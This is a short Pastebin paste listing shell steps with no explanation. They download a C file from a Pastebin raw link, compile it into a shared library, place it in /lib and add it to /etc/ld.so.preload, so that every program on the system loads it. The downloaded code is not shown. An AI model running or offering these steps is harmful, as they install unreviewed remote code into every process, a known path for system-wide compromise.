Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- cd /tmp
- wget http://pastebin.com/raw.php?i=7mQqBhqf -O bash_ld_preload.c
- gcc bash_ld_preload.c -fPIC -shared -Wl,-soname,bash_ld_preload.so.1 -o bash_ld_preload.so
- cp bash_ld_preload.so /lib
- cp /etc/ld.so.preload /etc/ld.so.preload.backup
- echo /lib/bash_ld_preload.so >> /etc/ld.so.preload
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement